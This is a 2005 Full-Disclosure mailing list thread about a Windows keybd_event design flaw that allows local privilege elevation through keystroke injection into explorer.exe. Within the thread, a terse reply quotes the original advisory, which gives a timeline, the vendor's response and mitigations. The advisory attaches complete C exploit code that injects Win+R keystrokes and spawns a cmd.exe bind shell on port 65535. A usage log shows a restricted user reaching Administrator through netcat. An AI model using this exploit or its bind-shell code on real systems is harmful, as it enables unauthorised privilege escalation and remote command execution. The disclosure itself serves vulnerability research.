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Date: Tue Sep 6 17:32:12 2005
From: mail at hackingspirits.com (Debasis Mohanty)
Subject: Microsoft Windows keybd_event
validationvulnerability
>> * Due to an invalid keyboard input validation, its possible to send keys
to any
>> * application of the Desktop.
Cross-Window access and emulation of key strokes on Windows are pretty old
stuffs. You can see this in many joke programs and fake virus programs. They
are there since Win 9x days. I am just wondering how come this is something
new to you ;-)
Best example for Cross Window exploit is Shatter Attack.
- D
_____
From: full-disclosure-bounces@...ts.grok.org.uk
[mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of Andres
Tarasco
Sent: Monday, September 05, 2005 4:39 PM
To: full-disclosure@...ts.grok.org.uk
Subject: [Full-disclosure] Microsoft Windows keybd_event
validationvulnerability
Vulnerability: Microsoft Windows keybd_event validation vulnerability.
Type:......... Design Flaw
Vendor:....... Microsoft
Impact:....... Local Privilege Elevation.
Credits:...... Andr?s Tarasc? ( aT4r @ Haxorcitos.com )
.......I?aki Lopez ( ilo @ reversing.org )
Timeline:.....
8 June 2005 - Vendor Notified.
9 June 2005 - First Microsoft Response.
8 July 2005 - Microsoft identifies the vulnerability as design flaw error.
[MSRC 6005bgs]
Description:
____________
As is Known, with the current Microsoft Security Model, applications that
share the destkop
are able to send messages between them.
Every Desktop application is able to obtain the handle of every process
executed in the same desktop.
This feature and the possibility of any application to emulate a virtual
keyboard by sending key strokes,
allows every process to send messages and keys as if there were an
interactive user.
Attack Scenario:
____________________
There are at least two known scenerarios that will allow this attack to
succeed.
- Runas Service allow application execution as if it were launched by
another user. In some cases, a
user could execute an untrusted application (like malware) with restricted
rights by downgrading
privileges and executing a shell where that suspicious application will be
executed and tested. This
application shares the same desktop as all the user applications.
- Every running service with the flag INTERACT_WITH_DESKTOP will be able to
access user Desktop.
attack:
_______
If an attacker is able to gain access to an application executed in any of
those ways (direct malware
execution or exploiting a security flaw in that software) by using Windows
apis (keybd_event or SendKeys)
he will be able to send keystrokes that will be handled by explorer.exe
allowing it to execute arbitrary
code with logged user rights. This attack will allow to bypass security
restrictions offered by the runas
Service and elevate privileges.
Vendor Response:
________________________
After talking with MSRC (Microsoft Security Response Center) Microsoft have
identified this vulnerability as
a design flaw, where the desktop is the security limit, so there is
currently no solution because some
automatic tools and virtual keyboard included in Windows XP would not work
if this feature did not exist.
Solution:
____________
- Only allow trusted applications to be run as a service with access to the
desktop.
- Do not use runas Service in production enviroments.
Exploit:
_________
Exploit code attached:
/*
* Microsoft Windows keybd_event validation vulnerability.
* Local privilege elevation
*
* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com )
* I?aki Lopez ( ilo _@_ reversing.org )
*
* Platforms afected/tested:
*
* - Windows 2000
* - Windows XP
* - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
* http://www.reversing.org
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application
executed
* with the application runas.
* b) An attacker who gains access to a service with flags
INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys to
any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate
privileges
* getting loggued user privileges and bypass runas/service security
restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Versi?n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Versi?n 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";
/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;
GetWindowThreadProcessId(hwnd,&hwndid);
if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls
*/
printf("HANDLE Found. Attacking =)\n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i<strlen(buf);i++) {
if (buf[i]==':') {
keybd_event(VK_SHIFT,1,0,0);
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
} else {
if (buf[i]=='\\') {
keybd_event(VK_LMENU,1,0,0);
keybd_event(VK_CONTROL,1,0,0);
keybd_event(VkKeyScan('?'),1,0,0);
keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('?'),1,KEYEVENTF_KEYUP,0);
} else {
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
}
}
}
keybd_event(VK_RETURN,1,0,0);
keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
exit(1);
}
}
/**************************************************************/
int BindShell(void) { //Bind Shell. POrt 65535
SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if
((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
exit(1); }
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);
ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE,
0,NULL,NULL,&si,&pi)) {
doFormatMessage(GetLastError());
return(-1);
}
WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
printf("SALIMOS...\n");
Sleep(5000);
return(1);
}
/**************************************************************/
void main(int argc, char* argv[])
{
HWND console_wnd = NULL;
if (argc >= 2) {
pid = atoi (argv[1]);
strncpy(buf,argv[0],sizeof(buf)-1);
EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
} else {
BindShell();
}
}
/**************************************************************/
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